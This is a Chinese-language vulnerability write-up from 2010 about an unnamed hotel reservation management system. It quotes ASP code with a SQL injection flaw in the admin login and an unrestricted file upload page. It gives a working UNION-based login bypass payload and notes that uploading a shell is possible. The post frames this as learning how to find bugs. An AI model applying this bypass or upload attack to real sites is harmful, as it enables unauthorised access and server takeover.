某酒店预定管理系统漏洞分析

时间:2010-08-26 18:30 来源:刀客城作者:anliou 点击:221次

首先在后台admin目录下的 checkadmin.asp中，直接看代码 % dimadmin_name,admin_pwd admin_name=trim(request( admin_name )) admin_pwd=trim(request( admin_pwd )) setrs=server.createobject( adodb.recordset ) sql= select*fromadmin_userwherename='

首先在后台admin目录下的 checkadmin.asp中，直接看代码

         
         
         
         
          
          
          
           
          
          
          
           
          
          
          
          <%  
          
          
          
          dim admin_name,admin_pwd  
          
          
          
          admin_name=trim(request("admin_name"))  
          
          
          
          admin_pwd=trim(request("admin_pwd"))  
          
          
          
          set rs=server.createobject("adodb.recordset")  
          
          
          
          sql="select * from admin_user where name=\'"&admin_name&"\'" 
          
          
          
          rs.open sql,conn,1,1  
          
          
          
          if not rs.eof then  
          
          
          
          if admin_pwd=rs("password") then  
          
          
          
             session("admin")=admin_name  
          
          
          
             response.redirect "main.asp" 
          
          
          
          else  
          
          
          
             Response.Write "<script language=\'javascript\'>window.confirm(\'密码不正确，请后退重填！！\');</script>" 
          
          
          
             Response.Write "<script language=\'javascript\'>parent.window.history.go(-1);</script>" 
          
          
          
          end if  
          
          
          
          else  
          
          
          
             Response.Write "<script language=\'javascript\'>window.confirm(\'用户名不正确！！\');</script>" 
          
          
          
             Response.Write "<script language=\'javascript\'>parent.window.history.go(-1);</script>" 
          
          
          
          end if  
          
          
          
          %>

未过滤单引号，但由于之后又跟数据库中存在的密码进行比较，所以万能密码or 是无法登录了，但可以通过变异的万能密码来绕过，使用特定的 union 语句，将密码置为1 然后就可以通过验证了，比如说这里我观察到 admin_user中一共有三个字段字段名分别为 name，password，id ，password位于第二个字段上，可以构造如下语句简单绕过认证。

用户名填写：1\' union select 1,1,1 from admin_user where \'1\'=\'1
密码直接填写：1

这样就OK。

后台文件中upfile.asp存在上传漏洞，代码如下：

         
         
         
         
          
          
          
           
          
          
          
           
          
          
          
          <%  
          
          
          
          dim upload,file,formName,formPath,iCount  
          
          
          
          set upload=new upload_5xSoft \'\'建立上传对象  
          
          
          
          response.write upload.Version&"<br><br>" \'\'显示上传类的版本  
          
          
          
          if upload.form("filepath")="" then   \'\'得到上传目录  
          
          
          
          HtmEnd "请输入要上传至的目录!" 
          
          
          
          set upload=nothing  
          
          
          
          response.end  
          
          
          
          else  
          
          
          
          formPath=upload.form("filepath")  
          
          
          
          \'\'在目录后加(/)  
          
          
          
          if right(formPath,1)<>"/" then formPath=formPath&"/"   
          
          
          
          end if  
          
          
          
          iCount=0  
          
          
          
          for each formName in upload.file \'\'列出所有上传了的文件  
          
          
          
          set file=upload.file(formName) \'\'生成一个文件对象  
          
          
          
          if file.FileSize>0 then         \'\'如果 FileSize > 0 说明有文件数据  
          
          
          
          file.SaveAs Server.mappath(formPath&file.FileName)   \'\'保存文件  
          
          
          
          response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" 
          
          
          
          iCount=iCount+1  
          
          
          
          end if  
          
          
          
          set file=nothing  
          
          
          
          next  
          
          
          
          set upload=nothing \'\'删除此对象  
          
          
          
          Htmend iCount&" 个文件上传结束!" 
          
          
          
          sub HtmEnd(Msg)  
          
          
          
          set upload=nothing  
          
          
          
          response.write "<br>"&Msg&" [<a href=""javascript:history.back();"">返回</a>]</body></html>" 
          
          
          
          response.end  
          
          
          
          end sub  
          
          
          
          %>

未对上传文件进行任何过滤，登录后可以上传任意文件，未做任何文件名的修改。

由于分析的是一个小程序，刚我也测试了一下，能拿shell的站不多，也就不提供关键字了，主要是学习一下找漏洞的思路吧

2010.8.12

(责任编辑：admin)

某酒店预定管理系统漏洞分析

某酒店预定管理系统漏洞分析

某酒店预定管理系统漏洞分析

你可能感兴趣的:(某酒店预定管理系统漏洞分析)